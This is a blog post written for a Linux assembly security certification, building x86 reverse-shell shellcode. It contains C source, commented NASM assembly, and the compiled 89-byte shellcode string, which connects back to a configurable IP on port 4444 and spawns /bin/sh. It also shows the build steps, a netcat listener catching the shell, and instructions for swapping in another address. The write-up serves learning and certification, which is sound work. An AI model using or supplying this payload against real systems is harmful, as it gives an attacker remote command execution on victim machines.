Introduction
This blog series has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-877
To get the code provided in this exercise:
% git clone https://github.com/droberson/SLAE.git
The code will be within the Assignment-2 directory.
The previous post outlined how the basics of writing shellcode and the prerequisite knowledge required to get started. If anything seems confusing, please start at the beginning.
What is a Reverse Shell
Reverse shells are preferred over bind shells in many cases. These types of shells require the attacker to set up a bind shell on a machine that they control to “catch” a connection established from a victim machine. This is useful for attacking machines that have firewalls or are behind NAT. Many firewalls filter inbound connectivity much heavier than outbound, but almost always allow outbound on ports 80 and 443 for web browsing purposes.
These are called reverse shells because they literally work in reverse of a bind shell:
- Bind shell: attacker connects to victim in order to establish a shell session on the victim’s machine.
- Reverse shell: victim connects to the attacker in order to establish a shell session on the victim’s machine.
The following C code outlines what this shellcode intends to accomplish:
#include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> int main() { int s; struct sockaddr_in c; c.sin_family = AF_INET; c.sin_port = htons (4444); c.sin_addr.s_addr = inet_addr ("127.0.0.1"); s = socket (AF_INET, SOCK_STREAM, IPPROTO_IP); connect (s, (struct sockaddr *)&c, sizeof (c)); dup2 (s, STDERR_FILENO); dup2 (s, STDOUT_FILENO); dup2 (s, STDIN_FILENO); execve ("/bin/sh", NULL, NULL); }
This code is a bit shorter than the bind shell example, but still involves many of the same system calls. This example connects to the localhost on port 4444 and executes /bin/sh, providing a shell session if there was a netcat listener present to catch the session.
Limitations
This shellcode suffers from the same problem as the bind shell code with the bad port numbers that contain NULL bytes. In addition to this, if any of the octets of the IP address are zero, it will contain a NULL byte and spoil the shellcode. This can be worked around by encoding the IP with something basic such as addition or xor, but this adds size to the shellcode and isn’t necessary for this demonstration.
The Code
Using the higher level C code as a guide of what I intend the shell code to do, knowing the calling convention for system calls on Linux, and knowing how to deal with socketcall(), I was able to come up with this code:
BITS 32
; python -c "import socket; print '0x%04x' % socket.htons(4444)"
PORT equ 0x5c11
; python -c 'import socket,struct; print hex(struct.unpack("<L", socket.inet_aton("192.168.10.126"))[0])'
HOST equ 0x7e0aa8c0
xor eax, eax ; zero out eax
xor ebx, ebx ; zero out ebx
xor edx, edx ; zero out edx
add eax, 102 ; socketcall()
inc ebx ; socket() -- 1
push edx ; IPPROTO_IP -- 0
push 1 ; SOCK_STREAM
push dword 2 ; AF_INET
mov ecx, esp ; address of args
int 0x80 ; call socket()
xchg esi, eax ; fd for socket
xor eax, eax ; zero out eax
add eax, 102 ; socketcall()
inc ebx ; increase ebx to 2
inc ebx ; connect() -- 3
push HOST ; IP in network byte order
push word PORT ; port in network byte order
push word 2 ; AF_INET
mov ecx, esp ; address of structure
push 16 ; size of structure
push ecx ; address of structure
push esi ; socket descriptor
mov ecx, esp ; save address
int 0x80 ; call connect()
;; dup2 loop
xor ecx, ecx ; zero out ecx
mov cl, 2 ; initialize counter
loop:
xor eax, eax ; zero out eax
add eax, 63 ; dup2()
int 0x80
dec ecx ; decrease counter
jns loop ; jump to loop if applicable
xor eax, eax ; zero out eax
push eax ; push null byte
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp ; copy address of string
push eax ; null
push ebx ; address of /bin/sh
mov ecx, esp ;
push eax ; null
mov edx, esp ; envp
mov al, 11 ; execve()
int 0x80 ; call execve()
In order for this to work, it is highly likely that you will need to change at least the IP address. Simply use the python one-liner provided above the HOST variable, and swap it out with the value you are provided. For a quick demonstration, I will change the IP from 192.168.10.126 to 127.1.1.1. I used 127.1.1.1 rather than 127.0.0.1 to eliminate the NULL bytes present in the default loopback IP address:
% python -c 'import socket,struct; print hex(struct.unpack("<L", socket.inet_aton("127.1.1.1"))[0])'
0x101017f
Swap out 0x7e0aa8c0 with 0x101017f within revshell.asm, then build the shellcode and test programs using make:
% make
gcc -o revshell revshell.c
revshell.c: In function ‘main’:
revshell.c:28:3: warning: null argument where non-null required (argument 2) [-Wnonnull]
execve ("/bin/sh", NULL, NULL);
^
nasm -o shellcode revshell.asm
gcc -m32 -fno-stack-protector -z execstack -o test test.c
In another terminal, set up a netcat listener to catch incoming connections on port 4444:
% netcat -nlvkp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Finally, test the shellcode using test.c:
% ./test shellcode
Testing shellcode contained in shellcode
char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x83\xc0\x66\x43"
"\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96"
"\x31\xc0\x83\xc0\x66\x43\x43\x68\xc0\xa8"
"\x0a\x7e\x66\x68\x11\x5c\x66\x6a\x02\x89"
"\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31"
"\xc9\xb1\x02\x31\xc0\x83\xc0\x3f\xcd\x80"
"\x49\x79\xf6\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53"
"\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";
Length: 89
Executing shellcode..
The netcat listener shows that a connection was accepted. A quick ‘uname -a’ command verifies that this is a shell:
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 34528)
uname -a
Linux vagrant 4.4.0-66-generic #87-Ubuntu SMP Fri Mar 3 15:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
Conclusion
It works, but it is not perfect. The NULL byte limitations in IP addresses and port numbers is kind of unfortunate. This can also be made a few bytes smaller. There is one on Shell-Storm that is only 67 bytes! This is 22 bytes (25%) smaller than what I came up with.
Pingback: SLAE #1: Bindshell Shellcode for Linux/x86 – DMFROBERSON